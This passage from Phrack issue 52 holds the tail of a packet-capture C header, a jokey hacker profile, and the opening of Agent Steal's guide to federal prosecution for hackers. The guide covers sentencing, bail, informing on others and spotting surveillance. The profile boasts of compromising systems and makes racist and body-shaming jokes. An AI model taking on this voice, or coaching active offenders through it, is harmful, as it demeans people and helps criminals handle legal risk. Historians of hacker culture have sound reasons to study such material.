int pcap_setfilter(pcap_t *, struct bpf_program *);
|
||
void pcap_perror(pcap_t *, char *);
|
||
char *pcap_strerror(int);
|
||
char *pcap_geterr(pcap_t *);
|
||
int pcap_compile(pcap_t *, struct bpf_program *, char *, int,
|
||
bpf_u_int32);
|
||
/* XXX */
|
||
int pcap_freecode(pcap_t *, struct bpf_program *);
|
||
int pcap_datalink(pcap_t *);
|
||
int pcap_snapshot(pcap_t *);
|
||
int pcap_is_swapped(pcap_t *);
|
||
int pcap_major_version(pcap_t *);
|
||
int pcap_minor_version(pcap_t *);
|
||
|
||
/* XXX */
|
||
FILE *pcap_file(pcap_t *);
|
||
int pcap_fileno(pcap_t *);
|
||
|
||
pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
|
||
void pcap_dump_close(pcap_dumper_t *);
|
||
void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);
|
||
|
||
/* XXX this guy lives in the bpf tree */
|
||
u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
|
||
char *bpf_image(struct bpf_insn *, int);
|
||
#endif
|
||
<-->
|
||
<++> ADMIDpack/udp.h
|
||
struct udphdr {
|
||
u_short source; /* source port */
|
||
u_short dest; /* destination port */
|
||
u_short len; /* udp length */
|
||
u_short check; /* udp checksum */
|
||
};
|
||
<-->
|
||
|
||
----[ EOF
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 04 of 20
|
||
|
||
|
||
-------------------------[ P H R A C K 5 2 P R O P H I L E
|
||
|
||
|
||
----------------[ Personal
|
||
|
||
|
||
Handle: O0
|
||
Call him: pachuco. Hey... me.
|
||
Past handles: digital jesus
|
||
Handle origin: L. Ron Hubbard and I thought it up.
|
||
Date of Birth: 07/74
|
||
Height: With heels or without?
|
||
Weight: In the sixth grade I was in a roman play. I was Naples.
|
||
Eye color: Blue.
|
||
Hair Color: Blue. I'm old.
|
||
Computers: Yes please. Extra Mayo, No onions.
|
||
Admin of: Nothing. I'm not an admin.
|
||
Sites Frequented: www.scientology.org (If you are going to hack someone,
|
||
hack me.)
|
||
URLs: The web is a really good excuse to waste time unless
|
||
you are doing research, distributing religous propaganda,
|
||
or selling sex oriented products.
|
||
|
||
----------------[ Favorite Things
|
||
|
||
Women: Daemon9, are you trying to ask me something?
|
||
Cars: Porsche Carrera whatever
|
||
Foods: The Roxy in Encinitas, Ca., Filibertos in Encinitas, Ca.,
|
||
and of course, "deli world" in the San Francisco ghetto
|
||
(Excelsior). $1 food is next door.
|
||
Music: Fugazi, Jazz, Acid Jazz, Lounge, Gregorian Chant, Jon
|
||
Spencer - Orange, One Dollar Food (Mondays at the Red
|
||
Devil Lounge in SF - Feds Welcome, but have good suits and
|
||
fast sneakers so I know who you are)
|
||
Movies: Usual Suspects, Ferris Buellers Day Off, Mall Rats,
|
||
Anything not starring pauly shore or Rodney Dangerfield.
|
||
Books: Chaos, making a new science by James Gleick
|
||
The C programming language, by Wik, and Als0 wik.
|
||
"Why I just can't seem to dance" - A documentary by Daemon9
|
||
Quotes: "Hell hath no fury like a woman's scorn for Sega" - Brodie.
|
||
"Woohoo! The water in this bathtub sure is ... white!"
|
||
- B. Clinton.
|
||
"Woohoo! Jessie Jackson sure is black!" - Pat Buchanan.
|
||
"I just never can seem to find things when I need them"
|
||
- Ollie North.
|
||
"People will eat shit, if you just put salad dressing on
|
||
it." - B. Gates.
|
||
"ARF! grr." - Tattoo.
|
||
Turn Ons: * Miniskirts, Garders, Vinyl, Perfume, Meat Eaters, Smart
|
||
Girls without attitudes.
|
||
Turn Offs: * Fat, ugly, smelly, vegetarian "granolas" with no
|
||
personality who wear 20 year old clothes that they still
|
||
have not washed yet, and lack the social skills or
|
||
capacity to learn.
|
||
* Salespeople
|
||
|
||
|
||
----------------[ Passions
|
||
|
||
- Business (penetration testing / security auditing).
|
||
- Tropical places (relaxation).
|
||
- Urban places (excitement).
|
||
- Winky, the magic dog, mule, hare catcher.
|
||
- Computers / networking.
|
||
- My girlfriend.
|
||
- Europe in general (but honestly, if you are Dutch and you own a restaurant,
|
||
come to the US, and learn about ground beef. Also, figure out what "well
|
||
done" means. Honestly though, I must compliment you on your excellent
|
||
selection of various strains of marijuana).
|
||
|
||
|
||
----------------[ Memorable experiences
|
||
|
||
- Owning switches over the Internet (TCP --> X.25).
|
||
- Owning my first nice car.
|
||
- Owning your machine.
|
||
- Getting punched by a large Sicilian, and getting knocked out.
|
||
- Putting a large Sicilian in the hospital.
|
||
|
||
|
||
----------------[ People to mention
|
||
|
||
- Joan Croc, for all of the millions of dollars she never gave me.
|
||
- Daemon9, for patting me on the back and breaking my spine by accident.
|
||
- My girlfriend, for being the awesome girl next door.
|
||
- Her parents, for feeding me all the time.
|
||
- Tattoo, my puppy ... for pissing on my bed, my floor, and all my clothes.
|
||
- Everyone who has ever served me coffee.
|
||
- Everyone who has ever betrayed me. Thanks so much for your warmth and
|
||
compassion.
|
||
- Mr Rogers. Using drugs to teach America's youth the moral responsibilities
|
||
they should adopt for their upcoming, bright futures, and using puppets to
|
||
illustrate the values of a smoothly flowing dictatorship.
|
||
- My parents, for tolerating all the weird phone calls from the rest of you
|
||
fuckers for many years, and for motivating me to learn about things I was
|
||
interested in by telling me that I would never get a job if I didn't go to
|
||
college. Heck, at least I didn't buy a degree out of a magazine, and end up
|
||
President of the United States.
|
||
- Oprah, for providing me with entertainment while I watched you expand and
|
||
contract like a blowfish. (I don't think she reads this anyway) (But if I'm
|
||
wrong, and Oprah is an avid phrack reader, then by all means .. sorry , it
|
||
was only a joke... Besides, according to MiB, you're an alien).
|
||
|
||
|
||
----------------[ Pearls Of Wisdom
|
||
|
||
- Don't take any wooden nickels, but if you do, make sure you get enough to
|
||
build a log cabin. Don't take any log cabins, but of you do, cut them up
|
||
small enough that you can give alot of people wooden nickels.
|
||
- Don't make up any cliches, but if you do, make sure they're funny.
|
||
- Make your business work for you, don't work for your business.
|
||
- Never ignore the ones you love.
|
||
- Buy quality merchandise for your home the first time around... unless you
|
||
have roommates.
|
||
- If everyone else around you gets caught, its time to stop.
|
||
- If a speaker is a speaker, and not a "sound emissions device", then is
|
||
toilet paper "toilet paper", or "Butt Wiping Cloth?"
|
||
- Eat out alot, unless she tells you to stop.
|
||
- All the people who consistently come on irc and ask "teach me how to hack",
|
||
first of all, most of the people on irc understand English as well as its
|
||
associated rules of grammar. Second, pick up a fricking book once in a
|
||
while and you might actually be surprised at what you are capable of. We're
|
||
supposed to be evolving, remember?
|
||
- When I was a young boy, I ate a snail. If you are a young boy, don't.
|
||
- If you beat the shit out of someone, make sure its not in front of my house,
|
||
because I don't want to clean up all that shit.
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 05 of 20
|
||
|
||
|
||
---------[ EVERYTHING A HACKER NEEDS TO KNOW ABOUT GETTING BUSTED BY THE FEDS
|
||
|
||
|
||
--------[ Agent Steal <agentsteal@usa.net>
|
||
|
||
|
||
From Federal Prison, 1997
|
||
|
||
Contributions and editing by Minor Threat
|
||
|
||
Special thanks to Evian S. Sim
|
||
|
||
NOTICE: The following document is to be construed as "Legal Material" as set
|
||
forth in The Federal Bureau of Prisons policy statement, P.S. 1315.05, and as
|
||
codified in 28 C.F.R. 543.10-16
|
||
|
||
This article may be freely reproduced, in whole or in part, provided
|
||
acknowledgments are given to the author. Any reproduction for profit, lame
|
||
zines, (that means you t0mmy, el8, thief) or law enforcement use is prohibited.
|
||
The author and contributor to this phile in no way advocate criminal behavior.
|
||
|
||
----------------
|
||
CONTENTS
|
||
----------------
|
||
|
||
INTRODUCTION
|
||
|
||
PART I - FEDERAL CRIMINAL LAW PART II - FEDERAL PRISON
|
||
|
||
A. Relevant Conduct A. State v. Federal
|
||
B. Preparing for Trial B. Security Levels
|
||
C. Plea Agreements and Attorneys C. Getting Designated
|
||
D. Conspiracy D. Ignorant Inmates
|
||
E. Sentencing E. Population
|
||
F. Use of Special Skill F. Doing Time
|
||
G. Getting Bail G. Disciplinary Action
|
||
H. State v. Federal Charges H. Administrative Remedy
|
||
I. Cooperating I. Prison Officials
|
||
J. Still Thinking About Trial J. The Hole
|
||
K. Search and Seizure K. Good Time
|
||
L. Surveillance L. Halfway House
|
||
M. Presentence Investigation M. Supervised Release
|
||
N. Proceeding Pro Se
|
||
O. Evidentiary Hearing
|
||
P. Return of Property
|
||
Q. Outstanding Warrants
|
||
R. Encryption
|
||
S. Summary
|
||
|
||
Part III - 2600 Special Section:
|
||
|
||
A. How to Avoid Detection
|
||
B. The Stealth Box
|
||
C. More Protection
|
||
|
||
CLOSURE
|
||
|
||
|
||
|
||
INTRODUCTION
|
||
|
||
The likelihood of getting arrested for computer hacking has increased
|
||
to an unprecedented level. No matter how precautionary or sage you are, you're
|
||
bound to make mistakes. And the fact of the matter is if you have trusted
|
||
anyone else with the knowledge of what you are involved in, you have made your
|
||
first mistake.
|
||
|
||
For anyone active in hacking I cannot begin to stress the importance
|
||
of the information contained in this file. To those who have just been
|
||
arrested by the Feds, reading this file could mean the difference between a
|
||
three-year or a one-year sentence. To those who have never been busted,
|
||
reading this file will likely change the way you hack, or stop you from
|
||
hacking altogether.
|
||
|
||
I realize my previous statements are somewhat lofty, but in the 35
|
||
months I spent incarcerated I've heard countless inmates say it: "If I knew
|
||
then what I know now..." I doubt that anyone would disagree: The criminal
|
||
justice system is a game to be played, both by prosecution and defense. And if
|
||
you have to be a player, you would be wise to learn the rules of engagement.
|
||
The writer and contributors of this file have learned the hard way. As a
|
||
result we turned our hacking skills during the times of our incarceration
|
||
towards the study of criminal law and, ultimately, survival. Having filed our
|
||
own motions, written our own briefs and endured life in prison, we now pass
|
||
this knowledge back to the hacker community. Learn from our experiences...
|
||
and our mistakes.
|
||
|
||
- Agent Steal
|
||
|
||
|
||
PART I - FEDERAL CRIMINAL LAW
|
||
|
||
A. THE BOTTOM LINE - RELEVANT CONDUCT
|
||
|
||
For those of you with a short G-phile attention span I'm going to
|
||
cover the single most important topic first. This is probably the most
|
||
substantial misunderstanding of the present criminal justice system. The
|
||
subject I am talking about is referred to in legal circles as "relevant
|
||
conduct." It's a bit complex and I will get into this... However, I have to
|
||
make this crystal clear so that it will stick in your heads. It boils down to
|
||
two concepts:
|
||
|
||
I. ONCE YOU ARE FOUND GUILTY OF EVEN ONE COUNT, EVERY COUNT WILL BE USED TO
|
||
CALCULATE YOUR SENTENCE
|
||
|
||
Regardless of whether you plea bargain to one count or 100, your
|
||
sentence will be the same. This is assuming we are talking about hacking,
|
||
code abuse, carding, computer trespass, property theft, etc. All of these are
|
||
treated the same. Other crimes you committed (but were not charged with) will
|
||
also be used to calculate your sentence. You do not have to be proven guilty
|
||
of every act. As long as it appears that you were responsible, or someone
|
||
says you were, then it can be used against you. I know this sounds insane ,
|
||
but it's true; it's the preponderance of evidence standard for relevant
|
||
conduct. This practice includes using illegally seized evidence and
|
||
acquittals as information in increasing the length of your sentence.
|
||
|
||
II. YOUR SENTENCE WILL BE BASED ON THE TOTAL MONETARY LOSS
|
||
|
||
The Feds use a sentencing table to calculate your sentence. It's
|
||
simple; More Money = More Time. It doesn't matter if you tried to break in 10
|
||
times or 10,000 times. Each one could be a count but it's the loss that
|
||
matters. And an unsuccessful attempt is treated the same as a completed crime.
|
||
It also doesn't matter if you tried to break into one company's computer or 10.
|
||
The government will quite simply add all of the estimated loss figures up, and
|
||
then refer to the sentencing table.
|
||
|
||
B. PREPARING FOR TRIAL
|
||
|
||
I've been trying to be overly simplistic with my explanation. The
|
||
United States Sentencing Guidelines (U.S.S.G.), are in fact quite complex. So
|
||
much so that special law firms are forming that deal only with sentencing. If
|
||
you get busted, I would highly recommend hiring one. In some cases it might
|
||
be wise to avoid hiring a trial attorney and go straight to one of these "Post
|
||
Conviction Specialists." Save your money, plead out, do your time. This may
|
||
sound a little harsh, but considering the fact that the U.S. Attorney's Office
|
||
has a 95% conviction rate, it may be sage advice. However, I don't want to
|
||
gloss over the importance of a ready for trial posturing. If you have a
|
||
strong trial attorney, and have a strong case, it will go a long way towards
|
||
good plea bargain negotiations.
|
||
|
||
C. PLEA AGREEMENTS AND ATTORNEYS
|
||
|
||
Your attorney can be your worst foe or your finest advocate. Finding
|
||
the proper one can be a difficult task. Costs will vary and typically the
|
||
attorney asks you how much cash you can raise and then says, "that amount will
|
||
be fine". In actuality a simple plea and sentencing should run you around
|
||
$15,000. Trial fees can easily soar into the 6 figure category. And finally,
|
||
a post conviction specialist will charge $5000 to $15,000 to handle your
|
||
sentencing presentation with final arguments.
|
||
|
||
You may however, find yourself at the mercy of The Public Defenders
|
||
Office. Usually they are worthless, occasionally you'll find one that will
|
||
fight for you. Essentially it's a crap shoot. All I can say is if you don't
|
||
like the one you have, fire them and hope you get appointed a better one. If
|
||
you can scrape together $5000 for a sentencing (post conviction) specialist to
|
||
work with your public defender I would highly recommend it. This specialist
|
||
will make certain the judge sees the whole picture and will argue in the most
|
||
effective manner for a light or reasonable sentence. Do not rely on your
|
||
public defender to thoroughly present your case. Your sentencing hearing is
|
||
going to flash by so fast you'll walk out of the court room dizzy. You and
|
||
your defense team need to go into that hearing fully prepared, having already
|
||
filed a sentencing memorandum.
|
||
|
||
The plea agreement you sign is going to affect you and your case well
|
||
after you are sentenced. Plea agreements can be tricky business and if you
|
||
are not careful or are in a bad defense position (the case against you is
|
||
strong), your agreement may get the best of you. There are many issues in a
|
||
plea to negotiate over. But essentially my advice would be to avoid signing
|
||
away your right to appeal. Once you get to a real prison with real jailhouse
|
||
lawyers you will find out how bad you got screwed. That issue notwithstanding,
|
||
you are most likely going to want to appeal. This being the case you need to
|
||
remember two things: bring all your appealable issues up at sentencing and
|
||
file a notice of appeal within 10 days of your sentencing. Snooze and loose.
|
||
|
||
I should however, mention that you can appeal some issues even though
|
||
you signed away your rights to appeal. For example, you can not sign away
|
||
your right to appeal an illegal sentence. If the judge orders something that
|
||
is not permissible by statute, you then have a constitutional right to appeal
|
||
your sentence.
|
||
|
||
I will close this subpart with a prison joke. Q: How can you tell when
|
||
your attorney is lying? A: You can see his lips moving.
|
||
|
||
D. CONSPIRACY
|
||
|
||
Whatever happened to getting off on a technicality? I'm sorry to say
|
||
those days are gone, left only to the movies. The courts generally dismiss
|
||
many arguments as "harmless error" or "the government acted in good faith".
|
||
The most alarming trend, and surely the root of the prosecutions success, are
|
||
the liberally worded conspiracy laws. Quite simply, if two or more people
|
||
plan to do something illegal, then one of them does something in furtherance
|
||
of the objective (even something legal), then it's a crime. Yes, it's true.
|
||
In America it's illegal to simply talk about committing a crime. Paging Mr.
|
||
Orwell. Hello?
|
||
|
||
Here's a hypothetical example to clarify this. Bill G. and Marc A. are
|
||
hackers (can you imagine?) Bill and Marc are talking on the phone and
|
||
unbeknownst to them the FBI is recording the call. They talk about hacking
|
||
into Apple's mainframe and erasing the prototype of the new Apple Web Browser.
|
||
Later that day, Marc does some legitimate research to find out what type of
|
||
mainframe and operating system Apple uses. The next morning, the Feds raid
|
||
Marc's house and seize everything that has wires. Bill and Marc go to trial
|
||
and spend millions to defend themselves. They are both found guilty of
|
||
conspiracy to commit unauthorized access to a computer system.
|
||
|
||
E. SENTENCING
|
||
|
||
At this point it is up to the probation department to prepare a report
|
||
for the court. It is their responsibility to calculate the loss and identify
|
||
any aggravating or mitigating circumstances. Apple Computer Corporation
|
||
estimates that if Bill and Marc would have been successful it would have
|
||
resulted in a loss of $2 million. This is the figure the court will use.
|
||
Based on this basic scenario our dynamic duo would receive roughly three-year
|
||
sentences.
|
||
|
||
As I mentioned, sentencing is complex and many factors can decrease or
|
||
increase a sentence, usually the latter. Let's say that the FBI also found a
|
||
file on Marc's computer with 50,000 unauthorized account numbers and passwords
|
||
to The Microsoft Network. Even if the FBI does not charge him with this, it
|
||
could be used to increase his sentence. Generally the government places a
|
||
$200-per-account attempted loss on things of this nature (i.e. credit card
|
||
numbers and passwords = access devices). This makes for a $10 million loss.
|
||
Coupled with the $2 million from Apple, Marc is going away for about nine
|
||
years. Fortunately there is a Federal Prison not too far from Redmond, WA so
|
||
Bill could come visit him.
|
||
|
||
Some of the other factors to be used in the calculation of a sentence
|
||
might include the following: past criminal record, how big your role in the
|
||
offense was, mental disabilities, whether or not you were on probation at the
|
||
time of the offense, if any weapons were used, if any threats were used, if
|
||
your name is Kevin Mitnick (heh), if an elderly person was victimized, if you
|
||
took advantage of your employment position, if you are highly trained and used
|
||
your special skill, if you cooperated with the authorities, if you show
|
||
remorse, if you went to trial, etc.
|
||
|
||
These are just some of the many factors that could either increase or
|
||
decrease a sentence. It would be beyond the scope of this article to cover
|
||
the U.S.S.G. in complete detail. I do feel that I have skipped over some
|
||
significant issues. Nevertheless, if you remember my two main points in
|
||
addition to how the conspiracy law works, you'll be a long way ahead in
|
||
protecting yourself.
|
||
|
||
F. USE OF A SPECIAL SKILL
|
||
|
||
The only specific "sentencing enhancement" I would like to cover would
|
||
be one that I am responsible for setting a precedent with. In U.S. v Petersen,
|
||
98 F.3d. 502, 9th Cir., the United States Court of Appeals held that some
|
||
computer hackers may qualify for the special skill enhancement. What this
|
||
generally means is a 6 to 24 month increase in a sentence. In my case it
|
||
added eight months to my 33-month sentence bringing it to 41 months.
|
||
Essentially the court stated that since I used my "sophisticated" hacking
|
||
skills towards a legitimate end as a computer security consultant, then the
|
||
enhancement applies. It's ironic that if I were to have remained strictly a
|
||
criminal hacker then I would have served less time.
|
||
|
||
The moral of the story is that the government will find ways to give
|
||
you as much time as they want to. The U.S.S.G. came into effect in 1987 in an
|
||
attempt to eliminate disparity in sentencing. Defendants with similar crimes
|
||
and similar backgrounds would often receive different sentences. Unfortunately,
|
||
this practice still continues. The U.S.S.G. are indeed a failure.
|
||
|
||
G. GETTING BAIL
|
||
|
||
In the past, the Feds might simply have executed their raid and then
|
||
left without arresting you. Presently this method will be the exception
|
||
rather than the rule and it is more likely that you will be taken into custody
|
||
at the time of the raid. Chances are also good that you will not be released
|
||
on bail. This is part of the government's plan to break you down and win their
|
||
case. If they can find any reason to deny you bail they will. In order to
|
||
qualify for bail, you must meet the following criteria:
|
||
|
||
- You must be a resident of the jurisdiction in which you were arrested.
|
||
- You must be gainfully employed or have family ties to the area.
|
||
- You cannot have a history of failure to appear or escape.
|
||
- You cannot be considered a danger or threat to the community.
|
||
|
||
In addition, your bail can be denied for the following reasons:
|
||
|
||
- Someone came forward and stated to the court that you said you would flee if
|
||
released.
|
||
- Your sentence will be long if convicted.
|
||
- You have a prior criminal history.
|
||
- You have pending charges in another jurisdiction.
|
||
|
||
What results from all this "bail reform" is that only about 20% of
|
||
persons arrested make bail. On top of that it takes 1-3 weeks to process your
|
||
bail papers when property is involved in securing your bond.
|
||
|
||
Now you're in jail, more specifically you are either in an
|
||
administrative holding facility or a county jail that has a contract with the
|
||
Feds to hold their prisoners. Pray that you are in a large enough city to
|
||
justify its own Federal Detention Center. County jails are typically the last
|
||
place you would want to be.
|
||
|
||
H. STATE VS. FEDERAL CHARGES
|
||
|
||
In some cases you will be facing state charges with the possibility of
|
||
the Feds "picking them up." You may even be able to nudge the Feds into
|
||
indicting you. This is a tough decision. With the state you will do
|
||
considerably less time, but will face a tougher crowd and conditions in prison.
|
||
Granted, Federal Prisons can be violent too, but generally as a non-violent
|
||
white collar criminal you will eventually be placed into an environment with
|
||
other low security inmates. More on this later.
|
||
|
||
Until you are sentenced, you will remain as a "pretrial inmate" in
|
||
general population with other inmates. Some of the other inmates will be
|
||
predatorial but the Feds do not tolerate much nonsense. If someone acts up,
|
||
they'll get thrown in the hole. If they continue to pose a threat to the
|
||
inmate population, they will be left in segregation (the hole). Occasionally
|
||
inmates that are at risk or that have been threatened will be placed in
|
||
segregation. This isn't really to protect the inmate. It is to protect the
|
||
prison from a lawsuit should the inmate get injured.
|
||
|
||
I. COOPERATING
|
||
|
||
Naturally when you are first arrested the suits will want to talk to
|
||
you. First at your residence and, if you appear to be talkative, they will
|
||
take you back to their offices for an extended chat and a cup of coffee. My
|
||
advice at this point is tried and true and we've all heard it before: remain
|
||
silent and ask to speak with an attorney. Regardless of what the situation is,
|
||
or how you plan to proceed, there is nothing you can say that will help you.
|
||
Nothing. Even if you know that you are going to cooperate, this is not the
|
||
time.
|
||
|
||
This is obviously a controversial subject, but the fact of the matter
|
||
is roughly 80% of all defendants eventually confess and implicate others. This
|
||
trend stems from the extremely long sentences the Feds are handing out these
|
||
days. Not many people want to do 10 to 20 years to save their buddies' hides
|
||
when they could be doing 3 to 5. This is a decision each individual needs to
|
||
make. My only advice would be to save your close friends and family. Anyone
|
||
else is fair game. In the prison system the blacks have a saying "Getting
|
||
down first." It's no secret that the first defendant in a conspiracy is
|
||
usually going to get the best deal. I've even seen situations where the big
|
||
fish turned in all his little fish and received 40% off his sentence.
|
||
|
||
Incidentally, being debriefed or interrogated by the Feds can be an
|
||
ordeal in itself. I would -highly- recommend reading up on interrogation
|
||
techniques ahead of time. Once you know their methods it will be all quite
|
||
transparent to you and the debriefing goes much more smoothly.
|
||
|
||
When you make a deal with the government you're making a deal with the
|
||
devil himself. If you make any mistakes they will renege on the deal and
|
||
you'll get nothing. On some occasions the government will trick you into
|
||
thinking they want you to cooperate when they are not really interested in
|
||
anything you have to say. They just want you to plead guilty. When you sign
|
||
the cooperation agreement there are no set promises as to how much of a
|
||
sentence reduction you will receive. That is to be decided after your
|
||
testimony, etc. and at the time of sentencing. It's entirely up to the judge.
|
||
However, the prosecution makes the recommendation and the judge generally goes
|
||
along with it. In fact, if the prosecution does not motion the court for your
|
||
"downward departure" the courts' hands are tied and you get no break.
|
||
|
||
As you can see, cooperating is a tricky business. Most people,
|
||
particularly those who have never spent a day in jail, will tell you not to
|
||
cooperate. "Don't snitch." This is a noble stance to take. However, in some
|
||
situations this is just plain stupid. Saving someone's ass who would easily
|
||
do the same to you is a tough call. It's something that needs careful
|
||
consideration. Like I said, save your friends then do what you have to do to
|
||
get out of prison and on with your life.
|
||
|
||
I'm happy to say that I was able to avoid involving my good friends
|
||
and a former employer in the massive investigation that surrounded my case. It
|
||
wasn't easy. I had to walk a fine line. Many of you probably know that I
|
||
(Agent Steal) went to work for the FBI after I was arrested. I was
|
||
responsible for teaching several agents about hacking and the culture. What
|
||
many of you don't know is that I had close FBI ties prior to my arrest. I was
|
||
involved in hacking for over 15 years and had worked as a computer security
|
||
consultant. That is why I was given that opportunity. It is unlikely however,
|
||
that we will see many more of these types of arrangements in the future. Our
|
||
relationship ran afoul, mostly due to their passive negligence and lack of
|
||
experience in dealing with hackers. The government in general now has their
|
||
own resources, experience, and undercover agents within the community. They
|
||
no longer need hackers to show them the ropes or the latest security hole.
|
||
|
||
Nevertheless, if you are in the position to tell the Feds something
|
||
they don't know and help them build a case against someone, you may qualify
|
||
for a sentence reduction. The typical range is 20% to 70%. Usually it's
|
||
around 35% to 50%. Sometimes you may find yourself at the end of the
|
||
prosecutorial food chain and the government will not let you cooperate. Kevin
|
||
Mitnick would be a good example of this. Even if he wanted to roll over, I
|
||
doubt it would get him much. He's just too big of a fish, too much media. My
|
||
final advice in this matter is get the deal in writing before you start
|
||
cooperating.
|
||
|
||
The Feds also like it when you "come clean" and accept responsibility.
|
||
There is a provision in the Sentencing Guidelines, 3E1.1, that knocks a little
|
||
bit of time off if you confess to your crime, plead guilty and show remorse.
|
||
If you go to trial, typically you will not qualify for this "acceptance of
|
||
responsibility" and your sentence will be longer.
|
||
|
||
J. STILL THINKING ABOUT TRIAL
|
||
|
||
Many hackers may remember the Craig Neidorf case over the famous 911
|
||
System Operation documents. Craig won his case when it was discovered that
|
||
the manual in question, that he had published in Phrack magazine, was not
|
||
proprietary as claimed but available publicly from AT&T. It was an egg in
|
||
the face day for the Secret Service.
|
||
|
||
Don't be misled by this. The government learned a lot from this
|
||
fiasco and even with the laudable support from the EFF, Craig narrowly
|
||
thwarted off a conviction. Regardless, it was a trying experience (no pun
|
||
intended) for him and his attorneys. The point I'm trying to make is that it's
|
||
tough to beat the Feds. They play dirty and will do just about anything,
|
||
including lie, to win their case. If you want to really win you need to know
|
||
how they build a case in the first place.
|
||
|
||
K. SEARCH AND SEIZURE
|
||
|
||
There is a document entitled "Federal Guidelines For Searching And
|
||
Seizing Computers." It first came to my attention when it was published in
|
||
the 12-21-94 edition of the Criminal Law Reporter by the Bureau of National
|
||
Affairs (Cite as 56 CRL 2023 ). It's an intriguing collection of tips, cases,
|
||
mistakes and, in general, how to bust computer hackers. It's recommended
|
||
reading.
|
||
|
||
Search and seizure is an ever evolving jurisprudence. What's not
|
||
permissible today may, through some convoluted Supreme Court logic, be
|
||
permissible and legal tomorrow. Again, a complete treatment of this subject
|
||
is beyond the scope of this paper. But suffice it to say if a Federal agent
|
||
wants to walk right into your bedroom and seize all of your computer equipment
|
||
without a warrant he could do it by simply saying he had probable cause (PC).
|
||
PC is anything that gives him an inkling to believe you were committing a
|
||
crime. Police have been known to find PC to search a car when the trunk sat
|
||
too low to the ground or the high beams were always on.
|
||
|
||
L. SURVEILLANCE AND WIRETAPS
|
||
|
||
Fortunately the Feds still have to show a little restraint when
|
||
wielding their wiretaps. It requires a court order and they have to show that
|
||
there is no other way to obtain the information they seek, a last resort if
|
||
you will. Wiretaps are also expensive to operate. They have to lease lines
|
||
from the phone company, pay agents to monitor it 24 hours a day and then
|
||
transcribe it. If we are talking about a data tap, there are additional costs.
|
||
Expensive interception/translation equipment must be in place to negotiate the
|
||
various modem speeds. Then the data has to be stored, deciphered,
|
||
decompressed, formatted, protocoled, etc. It's a daunting task and usually
|
||
reserved for only the highest profile cases. If the Feds can seize the data
|
||
from any other source, like the service provider or victim, they will take
|
||
that route. I don't know what they hate worse though, asking for outside help
|
||
or wasting valuable internal resources.
|
||
|
||
The simplest method is to enlist the help of an informant who will
|
||
testify "I saw him do it!," then obtain a search warrant to seize the evidence
|
||
on your computer. Ba da boom, ba da busted.
|
||
|
||
Other devices include a pen register which is a device that logs every
|
||
digit you dial on your phone and the length of the calls, both incoming and
|
||
outgoing. The phone companies keep racks of them at their security
|
||
departments. They can place one on your line within a day if they feel you are
|
||
defrauding them. They don't need a court order, but the Feds do.
|
||
|
||
A trap, or trap and trace, is typically any method the phone company
|
||
uses to log every number that calls a particular number. This can be done on
|
||
the switching system level or via a billing database search. The Feds need a
|
||
court order for this information too. However, I've heard stories of
|
||
cooperative telco security investigations passing the information along to an
|
||
agent. Naturally that would be a "harmless error while acting in good faith."
|
||
(legal humor)...
|
||
|
||
I'd love to tell you more about FBI wiretaps but this is as far as I
|
||
can go without pissing them off. Everything I've told you thus far is public
|
||
knowledge. So I think I'll stop here. If you really want to know more, catch
|
||
Kevin Poulsen (Dark Dante) at a cocktail party, buy him a Coke and he'll give
|
||
you an earful. (hacker humor)
|
||
|
||
In closing this subpart I will say that most electronic surveillance
|
||
is backed up with at least part-time physical surveillance. The Feds are
|
||
often good at following people around. They like late model mid-sized
|
||
American cars, very stock, with no decals or bumper stickers. If you really
|
||
want to know if you're under surveillance, buy an Opto-electronics Scout or
|
||
Xplorer frequency counter. Hide it on your person, stick an ear plug in your
|
||
ear (for the Xplorer) and take it everywhere you go. If you hear people
|
||
talking about you, or you continue to hear intermittent static (encrypted
|
||
speech), you probably have a problem.
|
||
|
||
M. YOUR PRESENTENCE INVESTIGATION REPORT, PSI OR PSR
|
||
|
||
After you plead guilty you will be dragged from the quiet and comfort
|
||
of your prison cell to meet with a probation officer. This has absolutely
|
||
nothing to do with getting probation. Quite the contrary. The P.O. is
|
||
empowered by the court to prepare a complete and, in theory, unbiased profile
|
||
of the defendant. Everything from education, criminal history, psychological
|
||
behavior, offense characteristics plus more will be included in this
|
||
voluminous and painfully detailed report about your life. Every little dirty
|
||
scrap of information that makes you look like a sociopath, demon worshiping,
|
||
loathsome criminal will be included in this report. They'll put a few negative
|
||
things in there as well.
|
||
|
||
My advice is simple. Be careful what you tell them. Have your
|
||
attorney present and think about how what you say can be used against you.
|
||
Here's an example:
|
||
|
||
P.O.: Tell me about your education and what you like to do in your spare time.
|
||
|
||
Mr. Steal: I am preparing to enroll in my final year of college. In my spare
|
||
time I work for charity helping orphan children.
|
||
|
||
The PSR then reads "Mr. Steal has never completed his education and hangs
|
||
around with little children in his spare time." Get the picture?
|
||
|
||
J. PROCEEDING PRO SE
|
||
|
||
Pro Se or Pro Per is when a defendant represents himself. A famous
|
||
lawyer once said "a man that represents himself has a fool for a client."
|
||
Truer words were never spoken. However, I can't stress how important it is to
|
||
fully understand the criminal justice system. Even if you have a great
|
||
attorney it's good to be able to keep an eye on him or even help out. An
|
||
educated client's help can be of enormous benefit to an attorney. They may
|
||
think you're a pain in the ass but it's your life. Take a hold of it.
|
||
Regardless, representing yourself is generally a mistake.
|
||
|
||
However, after your appeal, when your court appointed attorney runs
|
||
out on you, or you have run out of funds, you will be forced to handle matters
|
||
yourself. At this point there are legal avenues, although quite bleak, for
|
||
post-conviction relief.
|
||
|
||
But I digress. The best place to start in understanding the legal
|
||
system lies in three inexpensive books. First the Federal Sentencing
|
||
Guidelines ($14.00) and Federal Criminal Codes and Rules ($20.00) are
|
||
available from West Publishing at 800-328-9352. I consider possession of
|
||
these books to be mandatory for any pretrial inmate. Second would be the
|
||
Georgetown Law Journal, available from Georgetown University Bookstore in
|
||
Washington, DC. The book sells for around $40.00 but if you write them a
|
||
letter and tell them you're a Pro Se litigant they will send it for free. And
|
||
last but not least the definitive Pro Se authority, "The Prisoners Self Help
|
||
Litigation Manual" $29.95 ISBN 0-379-20831-8. Or try
|
||
http://www.oceanalaw.com/books/n148.htm
|
||
|
||
O. EVIDENTIARY HEARING
|
||
|
||
If you disagree with some of the information presented in the
|
||
presentence report (PSR) you may be entitled to a special hearing. This can
|
||
